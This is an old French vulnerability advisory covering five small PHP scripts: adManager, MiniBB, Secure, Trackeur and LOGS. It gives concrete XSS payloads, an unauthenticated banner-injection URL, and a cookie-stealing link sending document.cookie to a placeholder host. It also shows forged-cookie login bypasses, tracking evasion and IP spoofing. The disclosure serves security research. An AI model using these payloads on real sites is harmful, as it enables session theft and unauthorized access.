5 holes, Part 2
***************
Intro :
*******
Le hasard veut donc que j'écrive 5 holes Part2 et Part1 le même jour...
C'est comme ça, c'est la vie, et d'ailleurs tout le monde s'en fout.
Date :
******
17/04/02
Services :
**********
- adManager
- MiniBB
- Secure
- Trackeur
- LOGS
Developpement :
***************
1) adManager
-------------
http://www.sugarfreenet.com
Versions :
1.1
Problemes :
- Accès à une option admin
- XSS
Developpement :
Ce service permet de stocker des bannières sur une page.
Il se compose de 5 fichiers :
login.php3 : formulaire qui demande de remplir un formulaire password. Les données
sont renvoyées à password.php3.
password.php3 : Contient le password. Le compare à celui entré. Si il est bon, il inclut
ads.txt, random.php3 et propose en un formulaire de rajouter une image
avec lien (une bannière quoi :p). Les données sont renvoyées à add.php3.
add.php3 : Gère les variables $url et $adurl. Il les écrit dans ads.txt de cette façon :
<a href='$url' target='new'><IMG SRC='$adurl' border=0></a>
<BR>
ads.txt : Contient le code html des bannières.
random.php3 : Affiche le contenu de ads.txt.
La premiere faille est qu'on ne verifie le mot de passe que dans password.php3, pas dans
add.php3, alors que c'est via ce fichier que le code est inscrit.
Il suffira donc de taper l'url /add.php3?url=http://www.url.com&adurl=http://URL/img.gif
pour ajouter la bannière dans le site.
La deuxieme faille se trouve dans le code source où sont inscrit l'url
de l'image et celle du site à visiter; il n'y a aucun filtre.
On peut donc inclure du javascript, avec l'url :
/add.php3?url=frog&adurl=javascript:UNSCRIPT
ou
/add.php3?url=frog&adurl="><script>UNSCRIPT</script><img width="0
ou
/add.php3?url=frog&adurl=vbscript:UNSCRIPT
ou bien d'autres choses...
Ce script s'executera dans les fichiers : random.php3, ads.txt et password.php3 .
2) MiniBB
---------
http://www.minibb.net
Versions :
1.2
Problèmes :
- XSS
- Récuperation des comptes admins
Developpement :
Le trou XSS est celui ci :
index.php?action=search&searchFor="><script>UNSCRIPT</script>
En sachant que pour être admin, il faut recuperer son cookie, on peut faire
un peu de SE avec la balise [url].
Par exemple :
---------------------------------------------------------
Il y a un message que je n'arrive pas à visualiser
[url=index.php?action=search&searchFor=WAAAAAUNTRUCSUPERLONGETQUIVEUTRIENDIREPOURKONVOIPASLURL
DANSLABARREDESTACHES"><script>location='http://BADURL/'%2Bdocument.cookie)</script><img width="0]
ici[/url]
Merci de m'aider
-------------------------------------------------------------
Si l'admin click donc sur le lien, il sera rediriger la page http://BADURL/SONCOOKIEICI .
3) Secure
---------
http://php.doudou.net
Version :
17/09/2001
Problème :
- Contournement de la sécurité installée.
Developpement :
Voila ce que dit l'auteur de Secure :
Il "[...]contient l'ensemble des outils necessaires
au bon fonctionnement d'une sécurisation par identification du visiteur
(login / password)."
Dans secure.php on voit :
---------------------------------------------------------------------------------
if ($secure_site == 'ok') // si le cookie est ok
{
setcookie("secure_site","ok",time()+600); //pose du cookie pour 600 sec
return true; // on sort ok
}
if ($nom_admin1 == $nom_admin) si l'identifiant est ok
if ($mdp_admin1 == $mdp_admin) et le mot de passe est ok
{
setcookie("secure_site","ok",time()+600); //pose du cookie pour 600 sec
return true; // on sort ok
}
---------------------------------------------------------------------------------
Donc si on envois le cookie "secure_site,ok" sur la page "sécure-isée", on est authorisé.
4) Trackeur
-----------
http://www.france-jeunes.net
Versions :
1
Problème :
- Contournement de la sécurité installée.
Developpement :
Voici la description du service par son auteur :
---------------------------------------------------------------------------------------------
Ce script vous permet de tracer vos visiteurs, c'est à dire de connaître le chemin parcouru
par ceux ci, le temps entre chaque page, le nombre de connections...
Il est aussi très utile si vous redoutez un hacking de votre site car il vous permet de
surveiller des pages de votre site en temps réel, qui s'y connecte, etc...
Ensuite, si vous détectez un accès non autorisé, vous pouvez tracker ce visiteur pour voir
où il va, ce qu'il essai de faire et beaucoup d'autres d'un simple clic !
Options diponibles : Tracking par IP et/ou par identifiant unique avec exclusion d'une IP ou
d'un identifiant, surveillance d'une page ou d'un groupe de pages, le tout avec possibilité de
définir un intervalle de temps de surveillance (par exemple du 2002-01-01 00:00:00 au 2002-02-01 00:00:00) avec suivi des connections des visiteurs.
---------------------------------------------------------------------------------------------
Ce sympathique service fonctionne comme ceci : il nous attribue un ID contenu dans un cookie
et enregistre dans la BD l'ID et l'ip correspondant.
Voici la source du fichier à inserer, track_i.php :
---------------------------------------------------------------------------------------------
//Tracking
if(!$no_track)
{
if(!$uniqid AND !headers_sent())
{
$uniqid=uniqid(rand());
setcookie("uniqid",$uniqid,time()+(3600*24*365*30));
}
$ip=isset($HTTP_X_FORWARDED_FOR)?$HTTP_X_FORWARDED_FOR:$REMOTE_ADDR;
$query=mysql_query("INSERT INTO vince_track(date,uniqid,ip,page) VALUES(NOW(),'$uniqid','$ip','$REQUEST_URI')");
}
?>
---------------------------------------------------------------------------------------------
Il nous suffit donc d'attribuer une valeur à $no_track dans l'url, ou de changer son ID
dans le cookie pour passer inaperçu.
5) LOGS
-------
http://www.neomillenium.org
Versions :
27/07/01
Problème :
- Spoofing
Developpement :
Ce service logge l'ip des visiteurs et le moment de la visite d'une page.
Il est inseré de cette façon : <script language="php3" src="http://***********/logs/c.php3">
Et dans ce fichier c.php3, on peut voir :
--------------------------------------------------------------
$TIMES=date("H:i:s");
$datet=date("is");
$LOG_VIS=$REMOTE_ADDR."______".$datet;
setcookie("COOKIE", $LOG_VIS, "time()+3600*24*5", "/", "", 0);
--------------------------------------------------------------
Il suffit donc d'envoyer le cookie avec comme nom COOKIE et comme valeur
221.45.98.45______1456 pour qu'on croit que votre ip est 221.45.98.45.
Credits :
*********
frog-m@n
leseulfrog@hotmail.com
Copyright frog-m@n
http://www.phpsecure.info/v2/zone/pArticle